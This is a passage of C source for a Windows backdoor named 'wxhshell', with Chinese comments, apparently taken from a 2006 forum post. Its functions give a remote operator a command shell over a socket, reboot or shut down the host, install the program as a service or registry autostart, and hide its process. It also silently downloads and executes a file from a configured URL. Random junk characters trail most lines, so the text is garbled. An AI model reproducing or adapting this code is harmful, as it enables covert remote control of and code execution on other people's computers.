      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P@9t;dZN  
    break; X4 A<[&F/  
  } =5kY6%E7c  
  // 安装 Y?(r3E^x  
  case 'i': { vSi.txV2  
    if(Install()) ~c %hWt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Ub"5Fl4  
    else =y0C1LD+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sgp;@4`M  
    break; .=X}cJ]`[  
    } /f|X(docI  
  // 卸载 .6`9H 1  
  case 'r': { gqu?o&>9  
    if(Uninstall()) 4cl\^yD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e> (<eu~P  
    else kPF9Z "l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); my4giC2a  
    break; |MFF7z{%  
    } t.`@{R$hoA  
  // 显示 wxhshell 所在路径  DX"xy  
  case 'p': { Q\ U:~g3  
    char svExeFile[MAX_PATH]; aC%m-m  
    strcpy(svExeFile,"\n\r"); QlO0qbG[y  
      strcat(svExeFile,ExeFile); \E% 'Y  
        send(wsh,svExeFile,strlen(svExeFile),0); wnM9('\  
    break; >(?9?  
    } l}] t~!X=  
  // 重启 }M3fmAP}  
  case 'b': { & 8l%T'gd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %jJ>x3$F  
    if(Boot(REBOOT)) *:L?#Bw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hhari!R XC  
    else { ev#;t@^  
    closesocket(wsh); =gJb^ Gx(w  
    ExitThread(0); n#wI@W >%+  
    } ;uw Ryd  
    break; L:1^Kxg  
    } D"J!\_o  
  // 关机 X&0 uI*r  
  case 'd': { B, TB3 {  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bh=u|8yxc  
    if(Boot(SHUTDOWN)) QrYpZZ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o[cV1G  
    else { &8]d }-e  
    closesocket(wsh); }RwSp!}C  
    ExitThread(0); jC7&s$>Q"g  
    } O'W0q;rT  
    break; oE(7v7iY  
    } m3mp/g.>  
  // 获取shell ?)`L$Vr=  
  case 's': { WnGGo ' Z  
    CmdShell(wsh); jz5qQt]^  
    closesocket(wsh); GQ9\'z#+  
    ExitThread(0); k[HAkB \{  
    break; qeL5D*  
  } +=.W<b  
  // 退出 2U; t(,dn'  
  case 'x': { /ew Ukc8,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^Nmg07_R  
    CloseIt(wsh); D?0zhU  
    break; %5A+V0D0'  
    } sfOHarww  
  // 离开 #@"<:!?z  
  case 'q': { lhw ,J]0*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); av$/Om :  
    closesocket(wsh); '*?WU_L(g  
    WSACleanup(); ~d6DD;`K  
    exit(1); >&p0d0  
    break; vh*U]3@  
        } :@!ic<p  
  } Nqrmp" ]  
  } bIEhgiH  
mGGsB5#w>  
  // 提示信息 |"9 #bU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d\ ~QBr?  
} XLH+C ]pfr  
  } k}0^&Quc4  
3l3'bw2  
  return; y !!E\b=  
} HjGyj/78w  
 R#DwF,  
// shell模块句柄 ~I799Xi  
int CmdShell(SOCKET sock) >+ 4huRb  
{ HH@qz2w  
STARTUPINFO si; CBD6bl|A  
ZeroMemory(&si,sizeof(si)); S-'fS2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pTyi!:g3W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SJ};TEA  
PROCESS_INFORMATION ProcessInfo; &g~ wS@  
char cmdline[]="cmd"; ?1 [\!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hwI Mn33  
  return 0; u*#ZXW  
} LI6hE cM=  
NM6Teu_  
// 自身启动模式 S.d^T](  
int StartFromService(void) <@Fy5k-%.  
{ *mMEl]+  
typedef struct o,!T2&}  
{ )"m!YuS Y  
  DWORD ExitStatus; DVkB$2]  
  DWORD PebBaseAddress; XFh>U7z.  
  DWORD AffinityMask; en:4H   
  DWORD BasePriority; pOrWg@<\L  
  ULONG UniqueProcessId; ?l$Nf@-  
  ULONG InheritedFromUniqueProcessId; EgDQ+( -  
}   PROCESS_BASIC_INFORMATION; UD)e:G[Gat  
fS"Hr0  
PROCNTQSIP NtQueryInformationProcess; His*t1o8'O  
>N?2""  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vQa'S-@u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u]ZqOJXxu  
D Kw*~0  
  HANDLE             hProcess; QZ?=M@|f  
  PROCESS_BASIC_INFORMATION pbi; 5zIAhg@o:q  
|K^"3`SJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s#S%#LM  
  if(NULL == hInst ) return 0; ) 9oH,gZ  
\^V`ds*.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BkZV!Eg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F5 ]C{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CY& hIh~S@  
B=@ jWz"  
  if (!NtQueryInformationProcess) return 0; 3w!c`;c%  
PccB]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @Kgl%[NmX  
  if(!hProcess) return 0; xwH?0/  
D>!6,m2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  N<L`c/  
x+@&(NMP5  
  CloseHandle(hProcess); %,iIpYx  
:Yj) CGl$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZK'-U,Y.H7  
if(hProcess==NULL) return 0; uyF|O/FC  
 P N*JR  
HMODULE hMod; 6ITLGA  
char procName[255]; ]O:N-Y  
unsigned long cbNeeded; 4TwQO$C  
AC.A'|"]i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G8IY#  
-OYDe@Wb]  
  CloseHandle(hProcess); "W#t;;9Wz  
((rv]f{  
if(strstr(procName,"services")) return 1; // 以服务启动 sIl33kmv  
f2,1<^{  
  return 0; // 注册表启动 CVi`bO4\  
} <q,+ON\'  
2 /y}a#s  
// 主模块 [Lp,Hqi5  
int StartWxhshell(LPSTR lpCmdLine) EHlytG}@  
{ #2tCV't  
  SOCKET wsl; C`'W#xnp1  
BOOL val=TRUE; ;p ]y)3  
  int port=0; M/*NM= -a  
  struct sockaddr_in door; vSW L$Y2  
c[ht`!P  
  if(wscfg.ws_autoins) Install(); X[W]=yJJ  
4q$H  
port=atoi(lpCmdLine); wVq\FY%  
1 11D3  
if(port<=0) port=wscfg.ws_port; !D o,>gO  
*wV[TKaN  
  WSADATA data; m/`IGT5J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Be}$I_95\P  
(XH2Sy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M_``'gw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [k]|Qi nk  
  door.sin_family = AF_INET; zx1:`K0bi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eu'1H@vX(  
  door.sin_port = htons(port); jLcHY-P0V  
X-B8MoG|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \O7J=6fn  
closesocket(wsl); dZGbC9  
return 1; K<v:-TjQZ:  
} e(1k0W4B  
50a\e  
  if(listen(wsl,2) == INVALID_SOCKET) { ~k'V*ERNSj  
closesocket(wsl); a-n4:QT  
return 1; yoqa@V  
} 4%*hGh=  
  Wxhshell(wsl); tLcEl'Eo  
  WSACleanup(); s%;<O:x8o  
I"xWw/Ec  
return 0; F3ZxhkF  
H:a|x#"  
} uv4 _:   
) qPSD2h  
// 以NT服务方式启动 F?Or;p5`Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U '[?9/T  
{ S*%iiD)  
DWORD   status = 0; Xz;b,C&*t  
  DWORD   specificError = 0xfffffff; |ia@,*KD  
]Qi,j#X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4Y tk!oS`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /hdf{4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JZ`L%  
  serviceStatus.dwWin32ExitCode     = 0; b2h":G|s  
  serviceStatus.dwServiceSpecificExitCode = 0; 8U.$FMx :  
  serviceStatus.dwCheckPoint       = 0; Q2C)tVK+  
  serviceStatus.dwWaitHint       = 0; /~}_hO$S  
{Iy7.c8S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =sQ(iso%f  
  if (hServiceStatusHandle==0) return; 2/tb6' =  
I{dl%z73  
status = GetLastError(); Q?;C4n4]l  
  if (status!=NO_ERROR) |#TXE|#ux  
{ MWq$AK]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '7nJb6V,0l  
    serviceStatus.dwCheckPoint       = 0; _1JmjIH)M  
    serviceStatus.dwWaitHint       = 0; =aow d4 t  
    serviceStatus.dwWin32ExitCode     = status; U($^E}I2(  
    serviceStatus.dwServiceSpecificExitCode = specificError;  a@|.;#FF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1<uwU(  
    return; B5Va%?Wg?H  
  } R}J-nJlb  
4/L>&%8V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >rwYDT#m]  
  serviceStatus.dwCheckPoint       = 0; !cCg/  
  serviceStatus.dwWaitHint       = 0; J1-):3A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v7@H\x*  
} 6=>7M b$  
w67x l  
// 处理NT服务事件,比如:启动、停止 'P/taEi=R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y<r44a_!  
{ 1hNEkpL^a  
switch(fdwControl) dy_.(r5[L]  
{ C MqM;1  
case SERVICE_CONTROL_STOP: y@9Y,ZR*  
  serviceStatus.dwWin32ExitCode = 0; 7l}~4dm2J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d]k='  
  serviceStatus.dwCheckPoint   = 0; SY6r 8RK  
  serviceStatus.dwWaitHint     = 0; -HTL5  
  { `9EVB;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JfKg_&hM  
  } 'aPCb`^;w  
  return; --/-D5  
case SERVICE_CONTROL_PAUSE: &9h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B_@7IbB  
  break; ~}%&p& p  
case SERVICE_CONTROL_CONTINUE: ,%='>A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ij$)RSPtH  
  break; [Ye5Y?  
case SERVICE_CONTROL_INTERROGATE: ~mcZUiP9  
  break; Qy%xL9  
}; vUfO4yfdg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [5LMt*Y  
} #,Bj!'Q'-  
lDU#7\5.  
// 标准应用程序主函数 RD9Y k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 67 O<*M  
{ -~0'a  
J<-Fua^  
// 获取操作系统版本 &u4Ve8#  
OsIsNt=GetOsVer(); cB36p&%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 573~-Jvx  
,QL(i\  
  // 从命令行安装 j5A\y^Kv  
  if(strpbrk(lpCmdLine,"iI")) Install(); +ks$UvtY  
wJr/FE 7c  
  // 下载执行文件 tQCj)Ms'X  
if(wscfg.ws_downexe) { xF^r`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {!tOI  
  WinExec(wscfg.ws_filenam,SW_HIDE); DMRs}Yz6  
} 7Fc |  
)rS^F<C  
if(!OsIsNt) { p?KCVvx$  
// 如果时win9x,隐藏进程并且设置为注册表启动 cG5$lB  
HideProc(); n_ OUWvs  
StartWxhshell(lpCmdLine); hAYQ6g$A  
} ~JT lPU'  
else C!I\Gh  
  if(StartFromService()) L7[X|zmy*x  
  // 以服务方式启动 7~ILRj5Nq  
  StartServiceCtrlDispatcher(DispatchTable); OC`QD5  
else W|)(|W  
  // 普通方式启动 1w6.   
  StartWxhshell(lpCmdLine); @D2`*C9  
(2 mS v  
return 0; C=M?  
}
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只看该作者 1 发表于: 2006-10-10
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